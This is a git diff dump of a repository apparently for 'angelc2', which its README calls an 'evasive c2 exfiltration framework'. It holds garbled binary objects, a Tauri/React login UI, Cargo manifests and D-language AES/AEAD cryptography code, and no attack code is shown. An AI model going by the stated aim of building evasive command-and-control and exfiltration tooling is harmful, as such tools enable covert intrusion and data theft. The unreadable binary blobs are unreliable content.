Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -1,2 +0,0 @@
|
||||
xM<><4D>
|
||||
<EFBFBD>0E<><45><14>L h<><68><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>8<EFBFBD>1<EFBFBD>@~J<><4A>VJ<56>]<5D><><EFBFBD><EFBFBD> <1C><>}<7D><>ﺍ cʄƗy z<>G<>K9k_-V 9<05>F9<46><39>4<EFBFBD>l<EFBFBD><6C>0i<30>'o<><6F>fΘ<66>_١FC.E<>(<28>R.<2E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>r<EFBFBD>X<18>-<2D> <1C><><EFBFBD>v'<>leO<65>M<<3C>
|
||||
Binary file not shown.
@@ -1 +0,0 @@
|
||||
x<01><>Mk<4D>@<10>{<7B>_1<5F> 6E<36> <1E><><EFBFBD>PKR<><52>z<10><><EFBFBD><EFBFBD>.$<24>v3Q<33><51><EFBFBD>w<EFBFBD><77>^<5E>۰<EFBFBD><DBB0><<3C>&&<26>N<EFBFBD>s<EFBFBD>ҵ<EFBFBD>7 2<><32><EFBFBD>bkR<6B><52><EFBFBD><EFBFBD><18><><EFBFBD>&<26><>h |g<><67><EFBFBD><EFBFBD>t<EFBFBD><74>}<7D><><EFBFBD>3<EFBFBD><33>2 <1E>:"e4<65><19><><EFBFBD> U<>܇=8<02><>zmB<6D>TY8L)m<><6D> <09>^hL<68>B<EFBFBD><0F>Zb<5A>4<EFBFBD>?<3F>>s<>S"<22>c<EFBFBD><63>;QP<7F>j[<5B><>8<EFBFBD>Vii<69><69>TP<54><50><EFBFBD>T<EFBFBD>/y*v<><76><EFBFBD><EFBFBD>z<EFBFBD><7A><EFBFBD><EFBFBD>T-<2D>-<2D>;<>;M
|
||||
BIN
128x128.png
BIN
128x128.png
Binary file not shown.
|
Before Width: | Height: | Size: 16 KiB |
@@ -1,5 +0,0 @@
|
||||
xuR<75>N<EFBFBD>0 <0C>ܯ<EFBFBD>z@<40>D<EFBFBD> <20>U<EFBFBD>M<EFBFBD><13><>@<40>f<10><>U<EFBFBD>¦i<C2A6>N<EFBFBD>4MA<4D>!R<>l?<3F>礖X<E7A496><58><EFBFBD>ÍP <1A>3<EFBFBD><33>D<EFBFBD><44><07>
|
||||
<EFBFBD><EFBFBD><EFBFBD>A<EFBFBD><EFBFBD>\<5C>-{Q<>><3E><><EFBFBD>ؐ<01><04><><EFBFBD><EFBFBD>h<EFBFBD>]
|
||||
Q<EFBFBD>kJ<EFBFBD><EFBFBD><EFBFBD>ƈ<EFBFBD><04><04>"7)~㬝<>{Aґ^S<><53><EFBFBD>NMƏ^<5E><><EFBFBD><EFBFBD>0<01><>(<28>E݊!<21><>%<25><>4é7<16>
|
||||
<EFBFBD> u<07><>Hf<48>;S|<7C>[<5B><>ر<EFBFBD>)T<>W<EFBFBD>v<EFBFBD>#8<>^g<><67><EFBFBD>-<2D><><EFBFBD>2 <09><>jꚭ<6A><EA9AAD>%<25>x<EFBFBD>J<EFBFBD><4A><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ed<65>+f<>V<><56><EFBFBD>WoI N<>%fh<66>4 <09>o<07>n?<3F>l<EFBFBD>9<EFBFBD> <1F><03>:<3A><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><19>4mr<6D>I
|
||||
<EFBFBD>g<EFBFBD><EFBFBD>b=<3D><>Ց<EFBFBD><D591>%Go<47>2<EFBFBD> 1<><31><EFBFBD>7
|
||||
Binary file not shown.
@@ -1,2 +0,0 @@
|
||||
x=<3D>A
|
||||
<EFBFBD>0 =<3D><15>#1E-<2D>RAo-<2D>a<EFBFBD>e<EFBFBD>D<EFBFBD>B>X'<27>`<60><>s|<7C>xᒢ<14>A7n<37>(D<><44><EFBFBD>%+}_<><<3C><>om<6F><6D><EFBFBD><1A><><EFBFBD>ܙ2<DC99><19>L<EFBFBD>7<>k-
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -1 +0,0 @@
|
||||
xUQ<55>R<EFBFBD> <10><>_1<5F>U <09>ʃ<07><>/<2F> 0&<26><>Hfw<66>^,+r<18><><EFBFBD><EFBFBD><EFBFBD>btq<74><71><EFBFBD><EFBFBD>gM<>/s<>n8<6E><38><02>ä6<><36> 9<><39>-ݡǢ<DDA1><C7A2>:e,<2C>}<7D><><EFBFBD>W<06><><EFBFBD>(\ <20>S<EFBFBD>L 6<><36>{=<3D><><EFBFBD><EFBFBD>x<EFBFBD><78><EFBFBD><EFBFBD><EFBFBD>S1<53>R<EFBFBD><52>><3E><><EFBFBD>K<04>+m%<25>.1uV<75>P%<25>dˬ,<2C>d<EFBFBD><64><EFBFBD> (P!<21>x6ڡ<36><DAA1>翁R4<52>m<EFBFBD>1<EFBFBD><31><EFBFBD><EFBFBD><EFBFBD><15>*<2A>b,l<><6C><EFBFBD>C<EFBFBD>̹<EFBFBD>&<26>R 'S<><53>(b<>K<EFBFBD><4B><EFBFBD><EFBFBD>ފ<03><07>/<2F>-<2D><><EFBFBD>v<EFBFBD>t<>)t%<25><0E><>L4k<34><6B><EFBFBD>?<3F><>{U
|
||||
@@ -1,4 +0,0 @@
|
||||
x<01>T_k<5F>0߳?<3F><><EFBFBD>dXNZFK 6<>^<5E>P}}<7D>m9<11>:#)MZ<4D>ﾓ-%<25><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>g<EFBFBD>Iy<49>9|Z<>/?ȦEm<45>#pO<>*<2A>
|
||||
<EFBFBD>ڭ<EFBFBD><EFBFBD>Ox<EFBFBD>-<2D>
|
||||
<EFBFBD>Ѳ<EFBFBD>V<EFBFBD>
|
||||
<EFBFBD><EFBFBD><EFBFBD>y)<29>l/<17><><EFBFBD>-<2D><><EFBFBD><EFBFBD>B<EFBFBD>)<29><17><>{+kC<6B><02><><EFBFBD><EFBFBD>! <0B><>+<2B>'D;<3B><><EFBFBD>r<EFBFBD>z<><7A><EFBFBD><EFBFBD><EFBFBD><EFBFBD>*v8<76> <1F><11><11>ʒ<CA92> i<><69><EFBFBD>u<EFBFBD>$<24>U><3E><>
|
||||
Binary file not shown.
Binary file not shown.
@@ -1 +0,0 @@
|
||||
x+)JMU01f040031QH<51>(I<>+<2B><><EFBFBD>+<2B><>*<2A><>cP<63>~&<26>Ń-<2D><>f<EFBFBD>ox<6F>p<EFBFBD>"<22>#<23><><01> <15>
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -1 +0,0 @@
|
||||
x]P<>N1 <0C>ܯXE !RO=<3D><><07>I<EFBFBD>eM<65>qgU*<2A><EFBFBD><7F>$ <1C>y<<0F><>"<22><><EFBFBD>r|<7C>9L<39>z$<24><>ժӤ<D5AA>Z3<5A><33><EFBFBD>@<40>b<EFBFBD>>i<><69>i<EFBFBD><69>"L<>I To1<6F>><3E><><EFBFBD>
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -1,3 +0,0 @@
|
||||
x=<3D>1<0E>0 E<>{
|
||||
+b<>-0v<30><18>Cڸ<43><DAB8><EFBFBD>Q T!<21><>I<EFBFBD><49>f<EFBFBD><66><EFBFBD>?<3F> p> w<>
|
||||
<EFBFBD><EFBFBD>u<EFBFBD>q<EFBFBD><EFBFBD><03>4<EFBFBD>
|
||||
Binary file not shown.
Binary file not shown.
@@ -1 +0,0 @@
|
||||
x<01><><EFBFBD>j<EFBFBD>@<14><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɢ]Xp<58><70> RB1Ѝ<31><D08D>M<EFBFBD><4D><EFBFBD>ɝ0?و<><D988>M<EFBFBD>H<><48><EFBFBD><DB9D>ƺ^fӇ<66>.R<><52>(Z<>u${<7B>Y<EFBFBD>c$kaY<10>fl)p<><EFBFBD>>5pȚ=EFkZ<6B><5A><EFBFBD><05><>9<><39><EFBFBD><EFBFBD><EFBFBD>9 '<05>x<EFBFBD><78> D<><44>U<EFBFBD><55><EFBFBD><EFBFBD>4<05>?5<><35>?k<> <1C><> <07><>8ѣگ<D1A3><DAAF> <1C><><EFBFBD><EFBFBD><EFBFBD>r[V<>Y<EFBFBD><59><EFBFBD><EFBFBD><EFBFBD>߫<EFBFBD>,<><0E><><EFBFBD>ί<EFBFBD>U<>{<7B>
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -1 +0,0 @@
|
||||
xuOMK<4D>@<10><><EFBFBD>b<EFBFBD>)<01><><EFBFBD><EFBFBD>QQPhP<68><50><EFBFBD>dw<64><77>$&<26>B<11><><EFBFBD>&jP{{<7B>><3E>ͫj<CDAB>`<60>X^Ħ#<16>`<60>^<5E>Hx<48><78><EFBFBD>̥<EFBFBD><CCA5>b<EFBFBD>^j<><6A>#<23>3<EFBFBD>m<EFBFBD>M <1E><14><><EFBFBD>;*{A<><41><EFBFBD>p<EFBFBD><iq<69><71><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Q<EFBFBD>G<EFBFBD>1`U<> <0B>A<EFBFBD><41>h?<3F>4jN#<23>R<EFBFBD>u<EFBFBD><75><EFBFBD>H<EFBFBD>@~<7E>h<EFBFBD>}Cy<43>q<EFBFBD>wǧ<77>&<26>j<EFBFBD>A<EFBFBD><41><EFBFBD><EFBFBD>XORf[mK
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
254
App.scss
254
App.scss
@@ -1,254 +0,0 @@
|
||||
@import url("https://fonts.googleapis.com/css2?family=Fira+Code:wght@300..700&display=swap");
|
||||
|
||||
@tailwind base;
|
||||
@tailwind components;
|
||||
@tailwind utilities;
|
||||
|
||||
:root {
|
||||
font-family: Inter, Avenir, Helvetica, Arial, sans-serif;
|
||||
font-size: 16px;
|
||||
line-height: 24px;
|
||||
font-weight: 400;
|
||||
|
||||
color: #0f0f0f;
|
||||
background-color: #f6f6f6;
|
||||
|
||||
font-synthesis: none;
|
||||
text-rendering: optimizeLegibility;
|
||||
-webkit-font-smoothing: antialiased;
|
||||
-moz-osx-font-smoothing: grayscale;
|
||||
-webkit-text-size-adjust: 100%;
|
||||
}
|
||||
|
||||
html,
|
||||
body {
|
||||
height: 100%;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
.login-box {
|
||||
min-height: 700px;
|
||||
max-width: 475px;
|
||||
top: 50%;
|
||||
left: 50%;
|
||||
transform: translate(-50%, -50%);
|
||||
display: flex;
|
||||
position: absolute;
|
||||
flex-direction: column;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
padding: 20px;
|
||||
}
|
||||
|
||||
@keyframes fadeOut {
|
||||
0% {
|
||||
opacity: 1;
|
||||
}
|
||||
100% {
|
||||
opacity: 0;
|
||||
}
|
||||
}
|
||||
|
||||
.fade-out {
|
||||
animation: fadeOut 0.5s forwards;
|
||||
}
|
||||
|
||||
.dialog-overlay {
|
||||
background-color: transparent !important;
|
||||
}
|
||||
|
||||
.dialog-open ~ .other-components {
|
||||
filter: blur(4px);
|
||||
}
|
||||
|
||||
.fixed {
|
||||
z-index: 10;
|
||||
}
|
||||
|
||||
.sidebar {
|
||||
top: 60px;
|
||||
}
|
||||
|
||||
.splash-screen {
|
||||
display: inline-flex;
|
||||
flex-direction: column;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
height: 100vh;
|
||||
width: 100vw;
|
||||
background-color: #ffffff;
|
||||
position: relative;
|
||||
}
|
||||
|
||||
.splash-image {
|
||||
width: 512px;
|
||||
height: 512px;
|
||||
opacity: 0;
|
||||
animation: fadeIn 2s ease-in-out forwards;
|
||||
}
|
||||
|
||||
.loader {
|
||||
width: 20px;
|
||||
height: 20px;
|
||||
border: 5px solid black;
|
||||
border-radius: 50%;
|
||||
position: relative;
|
||||
border-top-color: transparent;
|
||||
animation: spin 2s linear infinite;
|
||||
margin-top: 20px;
|
||||
margin-right: 13px;
|
||||
}
|
||||
|
||||
@keyframes fadeIn {
|
||||
0% {
|
||||
opacity: 0;
|
||||
}
|
||||
100% {
|
||||
opacity: 1;
|
||||
}
|
||||
}
|
||||
|
||||
@keyframes spin {
|
||||
0% {
|
||||
transform: rotate(0deg);
|
||||
}
|
||||
100% {
|
||||
transform: rotate(360deg);
|
||||
}
|
||||
}
|
||||
|
||||
.container {
|
||||
/*display: flex;
|
||||
flex-direction: column;
|
||||
justify-content: center;
|
||||
align-items: center;*/
|
||||
//width: 100%;
|
||||
height: 100vh;
|
||||
/*margin: 0;
|
||||
padding: 0;
|
||||
box-sizing: border-box;*/
|
||||
background-color: #f6f6f6;
|
||||
}
|
||||
|
||||
.logo {
|
||||
height: 6em;
|
||||
padding: 1.5em;
|
||||
will-change: filter;
|
||||
transition: 0.75s;
|
||||
}
|
||||
|
||||
.logo.tauri:hover {
|
||||
filter: drop-shadow(0 0 2em #24c8db);
|
||||
}
|
||||
|
||||
.row {
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
}
|
||||
|
||||
@media (prefers-color-scheme: dark) {
|
||||
:root {
|
||||
color: #f6f6f6;
|
||||
background-color: #2f2f2f;
|
||||
}
|
||||
|
||||
a:hover {
|
||||
color: #24c8db;
|
||||
}
|
||||
|
||||
input,
|
||||
button {
|
||||
color: #ffffff;
|
||||
background-color: #0f0f0f98;
|
||||
}
|
||||
button:active {
|
||||
background-color: #0f0f0f69;
|
||||
}
|
||||
}
|
||||
|
||||
@layer base {
|
||||
:root {
|
||||
--background: 0 0% 100%;
|
||||
--foreground: 224 71.4% 4.1%;
|
||||
--card: 0 0% 100%;
|
||||
--card-foreground: 224 71.4% 4.1%;
|
||||
--popover: 0 0% 100%;
|
||||
--popover-foreground: 224 71.4% 4.1%;
|
||||
--primary: 220.9 39.3% 11%;
|
||||
--primary-foreground: 210 20% 98%;
|
||||
--secondary: 220 14.3% 95.9%;
|
||||
--secondary-foreground: 220.9 39.3% 11%;
|
||||
--muted: 220 14.3% 95.9%;
|
||||
--muted-foreground: 220 8.9% 46.1%;
|
||||
--accent: 220 14.3% 95.9%;
|
||||
--accent-foreground: 220.9 39.3% 11%;
|
||||
--destructive: 0 84.2% 60.2%;
|
||||
--destructive-foreground: 210 20% 98%;
|
||||
--border: 220 13% 91%;
|
||||
--input: 220 13% 91%;
|
||||
--ring: 224 71.4% 4.1%;
|
||||
--radius: 0.5rem;
|
||||
--chart-1: 12 76% 61%;
|
||||
--chart-2: 173 58% 39%;
|
||||
--chart-3: 197 37% 24%;
|
||||
--chart-4: 43 74% 66%;
|
||||
--chart-5: 27 87% 67%;
|
||||
--sidebar-background: 0 0% 98%;
|
||||
--sidebar-foreground: 240 5.3% 26.1%;
|
||||
--sidebar-primary: 240 5.9% 10%;
|
||||
--sidebar-primary-foreground: 0 0% 98%;
|
||||
--sidebar-accent: 240 4.8% 95.9%;
|
||||
--sidebar-accent-foreground: 240 5.9% 10%;
|
||||
--sidebar-border: 220 13% 91%;
|
||||
--sidebar-ring: 217.2 91.2% 59.8%;
|
||||
}
|
||||
|
||||
.dark {
|
||||
--background: 224 71.4% 4.1%;
|
||||
--foreground: 210 20% 98%;
|
||||
--card: 224 71.4% 4.1%;
|
||||
--card-foreground: 210 20% 98%;
|
||||
--popover: 224 71.4% 4.1%;
|
||||
--popover-foreground: 210 20% 98%;
|
||||
--primary: 210 20% 98%;
|
||||
--primary-foreground: 220.9 39.3% 11%;
|
||||
--secondary: 215 27.9% 16.9%;
|
||||
--secondary-foreground: 210 20% 98%;
|
||||
--muted: 215 27.9% 16.9%;
|
||||
--muted-foreground: 217.9 10.6% 64.9%;
|
||||
--accent: 215 27.9% 16.9%;
|
||||
--accent-foreground: 210 20% 98%;
|
||||
--destructive: 0 62.8% 30.6%;
|
||||
--destructive-foreground: 210 20% 98%;
|
||||
--border: 215 27.9% 16.9%;
|
||||
--input: 215 27.9% 16.9%;
|
||||
--ring: 216 12.2% 83.9%;
|
||||
--chart-1: 220 70% 50%;
|
||||
--chart-2: 160 60% 45%;
|
||||
--chart-3: 30 80% 55%;
|
||||
--chart-4: 280 65% 60%;
|
||||
--chart-5: 340 75% 55%;
|
||||
--sidebar-background: 240 5.9% 10%;
|
||||
--sidebar-foreground: 240 4.8% 95.9%;
|
||||
--sidebar-primary: 224.3 76.3% 48%;
|
||||
--sidebar-primary-foreground: 0 0% 100%;
|
||||
--sidebar-accent: 240 3.7% 15.9%;
|
||||
--sidebar-accent-foreground: 240 4.8% 95.9%;
|
||||
--sidebar-border: 240 3.7% 15.9%;
|
||||
--sidebar-ring: 217.2 91.2% 59.8%;
|
||||
}
|
||||
}
|
||||
|
||||
@layer base {
|
||||
* {
|
||||
@apply border-border;
|
||||
}
|
||||
body {
|
||||
@apply bg-background text-foreground;
|
||||
}
|
||||
}
|
||||
80
App.tsx
80
App.tsx
@@ -1,80 +0,0 @@
|
||||
"use client";
|
||||
|
||||
import "./App.scss";
|
||||
import Sign_in from "./sign_in";
|
||||
import Sign_up from "./sign_up";
|
||||
import Dashboard from "./dash";
|
||||
import { useState, useEffect } from "react";
|
||||
import {
|
||||
BrowserRouter as Router,
|
||||
Route,
|
||||
Routes,
|
||||
useNavigate,
|
||||
} from "react-router-dom";
|
||||
import { Button } from "./components/ui/button";
|
||||
import { useAlert } from "./alert";
|
||||
import SplashScreen from "./splashscreen";
|
||||
import { getShowSplash, setShowSplash } from "./global";
|
||||
|
||||
function App() {
|
||||
const { triggerAlert, AlertComponent } = useAlert();
|
||||
const [showSplash, setShowSplashState] = useState(getShowSplash());
|
||||
|
||||
useEffect(() => {
|
||||
if (showSplash) {
|
||||
const splashTimeout = setTimeout(() => {
|
||||
setShowSplashState(false);
|
||||
setShowSplash(false);
|
||||
}, 5000);
|
||||
|
||||
return () => clearTimeout(splashTimeout);
|
||||
}
|
||||
}, [showSplash]);
|
||||
|
||||
if (showSplash) {
|
||||
return <SplashScreen />;
|
||||
}
|
||||
|
||||
return (
|
||||
<Router>
|
||||
<main className="container bg-gray-100 font-fira-code flex h-screen">
|
||||
{AlertComponent}
|
||||
<Routes>
|
||||
<Route path="/" element={<Home triggerAlert={triggerAlert} />} />
|
||||
<Route path="/sign_in" element={<Sign_in />} />
|
||||
<Route path="/sign_up" element={<Sign_up />} />
|
||||
<Route path="/dash" element={<Dashboard />} />
|
||||
</Routes>
|
||||
</main>
|
||||
</Router>
|
||||
);
|
||||
}
|
||||
|
||||
function Home({
|
||||
triggerAlert,
|
||||
}: {
|
||||
triggerAlert: (
|
||||
title: string,
|
||||
description: string,
|
||||
type?: "default" | "error",
|
||||
) => void;
|
||||
}) {
|
||||
const nav = useNavigate();
|
||||
return (
|
||||
<>
|
||||
<h1>Welcome to Tauri + React</h1>
|
||||
<Button onClick={() => triggerAlert("event", "meow", "default")}>
|
||||
Show Event Alert
|
||||
</Button>
|
||||
|
||||
<Button onClick={() => triggerAlert("error", "meow", "error")}>
|
||||
Show Error Alert
|
||||
</Button>
|
||||
<Button onClick={() => nav("/sign_in")} className="btn">
|
||||
Go to Login
|
||||
</Button>
|
||||
</>
|
||||
);
|
||||
}
|
||||
|
||||
export default App;
|
||||
@@ -1 +0,0 @@
|
||||
Upload again, fix
|
||||
4319
Cargo.lock
generated
4319
Cargo.lock
generated
File diff suppressed because it is too large
Load Diff
24
Cargo.toml
24
Cargo.toml
@@ -1,24 +0,0 @@
|
||||
[package]
|
||||
name = "angel"
|
||||
version = "0.1.0"
|
||||
description = "Angel: lightweight & minimalistic, yet powerful and extensible C2 framework"
|
||||
authors = ["0xkiss"]
|
||||
edition = "2021"
|
||||
|
||||
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||
|
||||
[lib]
|
||||
# The `_lib` suffix may seem redundant but it is necessary
|
||||
# to make the lib name unique and wouldn't conflict with the bin name.
|
||||
# This seems to be only an issue on Windows, see https://github.com/rust-lang/cargo/issues/8519
|
||||
name = "angel_lib"
|
||||
crate-type = ["staticlib", "cdylib", "rlib"]
|
||||
|
||||
[build-dependencies]
|
||||
tauri-build = { version = "2", features = [] }
|
||||
|
||||
[dependencies]
|
||||
tauri = { version = "2", features = [] }
|
||||
tauri-plugin-shell = "2"
|
||||
serde = { version = "1", features = ["derive"] }
|
||||
serde_json = "1"
|
||||
1
HEAD
1
HEAD
@@ -1 +0,0 @@
|
||||
0000000000000000000000000000000000000000 22ec46f9a0d1d2bce3ace74896657f22e4fec052 unknown <wm@win10-sys.(none)> 1762455741 +0100 clone: from http://ducky.vulnerable.lol:9994/gumbobrot/angelc2.git
|
||||
BIN
LICENSE.txt
BIN
LICENSE.txt
Binary file not shown.
@@ -1,3 +1,3 @@
|
||||
# angelc2
|
||||
|
||||
Professional C2 software for security research
|
||||
# angelc2
|
||||
|
||||
Full-fledged cross-platform & evasive c2 exfiltration framework.
|
||||
BIN
README.txt
BIN
README.txt
Binary file not shown.
Binary file not shown.
File diff suppressed because one or more lines are too long
198
aead.d
198
aead.d
@@ -1,198 +0,0 @@
|
||||
module angel.utils.cryptography.aead;
|
||||
|
||||
public import angel.utils.cryptography.blockcipher;
|
||||
|
||||
///
|
||||
/// Test if T is a AEAD cipher.
|
||||
///
|
||||
@safe
|
||||
template isAEADCipher(T)
|
||||
{
|
||||
enum bool isAEADCipher =
|
||||
is(T == struct) &&
|
||||
is(typeof(
|
||||
{
|
||||
ubyte[0] block;
|
||||
T bc = void; //Can define
|
||||
|
||||
bc.start(true, block, block); // start with key, iv
|
||||
|
||||
string name = T.name;
|
||||
uint macSize = T.macSize;
|
||||
|
||||
//BlockCipher c = bc.getUnderlyingCipher();
|
||||
bc.processAADBytes(cast (const ubyte[])block);
|
||||
|
||||
ubyte[] slice = bc.processBytes(cast(const ubyte[]) [0], cast(ubyte[]) [0]);
|
||||
//ubyte[] mac = bc.finish(block);
|
||||
|
||||
size_t len = bc.finish(cast(ubyte[]) [0], cast(ubyte[]) [0]);
|
||||
size_t s1 = bc.getUpdateOutputSize(cast(size_t) 0);
|
||||
size_t s2 = bc.getOutputSize(cast(size_t) 0);
|
||||
}));
|
||||
}
|
||||
|
||||
@safe
|
||||
public interface IAEADEngine
|
||||
{
|
||||
|
||||
public {
|
||||
|
||||
/// Initialize the underlying cipher.
|
||||
/// Params:
|
||||
/// forEncryption = true if we are setting up for encryption, false otherwise.
|
||||
/// key = Secret key.
|
||||
/// nonce = Number used only once.
|
||||
void start(in ubyte[] key, in ubyte[] nonce) nothrow @nogc;
|
||||
|
||||
/// Returns: Returns the name of the algorithm.
|
||||
@property
|
||||
string name() pure nothrow;
|
||||
|
||||
|
||||
/// Process additional authenticated data.
|
||||
void processAADBytes(in ubyte[] aad) nothrow;
|
||||
|
||||
/// Encrypt or decrypt a block of bytes.
|
||||
///
|
||||
/// Params:
|
||||
/// input = Input buffer.
|
||||
/// output = Output buffer.
|
||||
///
|
||||
/// Returns: A slice pointing to the output data.
|
||||
ubyte[] processBytes(in ubyte[] input, ubyte[] output) nothrow;
|
||||
|
||||
/// Close the AEAD cipher by producing the remaining output and a authentication tag.
|
||||
///
|
||||
/// Params:
|
||||
/// macBuf = Buffer for the MAC tag.
|
||||
/// output = Buffer for remaining output data.
|
||||
///
|
||||
/// Note: In decryption mode this does not verify the integrity of the data. Verification has to be done by the programmer!
|
||||
///
|
||||
size_t finish(ubyte[] macBuf, ubyte[] output);
|
||||
|
||||
/// Returns: Return the size of the output buffer required for a processBytes an input of len bytes.
|
||||
size_t getUpdateOutputSize(size_t len) nothrow const;
|
||||
|
||||
/// Returns: Return the size of the output buffer required for a processBytes plus a finish with an input of len bytes.
|
||||
size_t getOutputSize(size_t len) nothrow const;
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
// TODO AEAD cipher wrapper
|
||||
/// Wrapper class for AEAD ciphers
|
||||
@safe
|
||||
public class AEADCipherWrapper(T) if(isAEADCipher!T): IAEADEngine
|
||||
{
|
||||
|
||||
private T cipher;
|
||||
|
||||
public {
|
||||
|
||||
void start(in ubyte[] key, in ubyte[] iv) {
|
||||
cipher.start(key, iv);
|
||||
}
|
||||
|
||||
@property
|
||||
string name() pure nothrow {
|
||||
return cipher.name;
|
||||
}
|
||||
|
||||
void processAADBytes(in ubyte[] aad) nothrow {
|
||||
cipher.processAADBytes(aad);
|
||||
}
|
||||
|
||||
|
||||
ubyte[] processBytes(in ubyte[] input, ubyte[] output) nothrow {
|
||||
return cipher.processBytes(input, output);
|
||||
}
|
||||
|
||||
size_t finish(ubyte[] macBuf, ubyte[] output){
|
||||
return cipher.finish(macBuf, output);
|
||||
}
|
||||
|
||||
size_t getUpdateOutputSize(size_t len) nothrow const {
|
||||
return cipher.getUpdateOutputSize(len);
|
||||
}
|
||||
|
||||
size_t getOutputSize(size_t len) nothrow const {
|
||||
return cipher.getOutputSize(len);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
version(unittest) {
|
||||
|
||||
// unittest helper functions
|
||||
|
||||
|
||||
/// Runs decryption and encryption using AEADCipher cipher with given keys, plaintexts, and ciphertexts.
|
||||
///
|
||||
/// Params:
|
||||
/// hexKeys = the keys encoded in hex
|
||||
/// hexIVs = hex encoded nonces
|
||||
/// hexPlaintexts = the plaintexts encoded in hex
|
||||
/// hexAAD = additional authenticated data
|
||||
/// hexCiphertexts = the corresponding ciphertexts in hex
|
||||
/// macSize = MAC sizes in bits
|
||||
///
|
||||
/// Throws:
|
||||
/// AssertionError if encryption or decryption failed
|
||||
@safe
|
||||
public void AEADCipherTest(
|
||||
IAEADEngine cipher,
|
||||
in string[] keys,
|
||||
in string[] ivs,
|
||||
in string[] plaintexts,
|
||||
in string[] aads,
|
||||
in string[] ciphertexts,
|
||||
in uint[] macSize
|
||||
) {
|
||||
|
||||
import dcrypt.aead.aead;
|
||||
import std.format: format;
|
||||
|
||||
alias const (ubyte)[] octets;
|
||||
|
||||
foreach (uint i, string test_key; keys)
|
||||
{
|
||||
octets plain = cast(octets) plaintexts[i];
|
||||
octets aad = cast(octets) aads[i];
|
||||
octets ciphertext = cast(octets) ciphertexts[i];
|
||||
|
||||
ubyte[] output = new ubyte[plain.length];
|
||||
|
||||
// set to encryption mode
|
||||
cipher.start(true, cast(octets) test_key, cast(octets) ivs[i]);
|
||||
|
||||
output.length = cipher.getOutputSize(plain.length);
|
||||
|
||||
immutable size_t taglen = macSize[i]/8;
|
||||
octets expectedMac = ciphertext[$-taglen..$];
|
||||
ciphertext = ciphertext[0..$-taglen];
|
||||
|
||||
// assert(cipher.getUpdateOutputSize(plain.length) == plain.length);
|
||||
assert(output.length >= cipher.getUpdateOutputSize(plain.length));
|
||||
|
||||
|
||||
assert(output.length >= cipher.getUpdateOutputSize(plain.length));
|
||||
|
||||
// test encryption
|
||||
cipher.processAADBytes(aad);
|
||||
ubyte[] out_slice = cipher.processBytes(plain, output);
|
||||
|
||||
ubyte[16] mac;
|
||||
size_t len = out_slice.length+cipher.finish(mac, output[out_slice.length..$]);
|
||||
|
||||
assert(output == ciphertext,
|
||||
format("%s encrypt: %(%.2x%) != %(%.2x%)", cipher.name, output, ciphertexts[i]));
|
||||
|
||||
assert(mac[0..taglen] == expectedMac);
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
549
aes.d
549
aes.d
@@ -1,549 +0,0 @@
|
||||
module angel.utils.cryptography.aes;
|
||||
|
||||
import angel.utils.cryptography.blockcipher;
|
||||
import angel.utils.cryptography.exceptions;
|
||||
import angel.utils.cryptography.bitmanip;
|
||||
|
||||
/// Test AES encryption and decryption of a single block with 128, 192 and 256 bits key length.
|
||||
/// test vectors from http://www.inconteam.com/software-development/41-encryption/55-aes-test-vectors
|
||||
@safe
|
||||
unittest {
|
||||
|
||||
static string[] test_keys = [
|
||||
x"2b7e151628aed2a6abf7158809cf4f3c",
|
||||
x"8e73b0f7da0e6452c810f32b809079e562f8ead2522c6b7b",
|
||||
x"603deb1015ca71be2b73aef0857d77811f352c073b6108d72d9810a30914dff4",
|
||||
x"603deb1015ca71be2b73aef0857d77811f352c073b6108d72d9810a30914dff4"
|
||||
];
|
||||
|
||||
static string[] test_plaintexts = [
|
||||
x"6bc1bee22e409f96e93d7e117393172a",
|
||||
x"6bc1bee22e409f96e93d7e117393172a",
|
||||
x"6bc1bee22e409f96e93d7e117393172a",
|
||||
x"ae2d8a571e03ac9c9eb76fac45af8e51"
|
||||
];
|
||||
|
||||
static string[] test_ciphertexts = [
|
||||
x"3ad77bb40d7a3660a89ecaf32466ef97",
|
||||
x"bd334f1d6e45f25ff712a214571fa5cc",
|
||||
x"f3eed1bdb5d2a03c064b5a7e3db181f8",
|
||||
x"591ccb10d410ed26dc5ba74a31362870"
|
||||
|
||||
];
|
||||
|
||||
AESEngine t = new AESEngine();
|
||||
|
||||
blockCipherTest(t, test_keys, test_plaintexts, test_ciphertexts);
|
||||
|
||||
}
|
||||
|
||||
static assert(isBlockCipher!AES, "AES is not a block cipher!");
|
||||
|
||||
/// OOP API wrapper for AES
|
||||
alias BlockCipherWrapper!AES AESEngine;
|
||||
|
||||
@safe
|
||||
public struct AES
|
||||
{
|
||||
|
||||
public enum name = "AES";
|
||||
public enum blockSize = 16;
|
||||
private static immutable size_t maxKeyLength = 32;
|
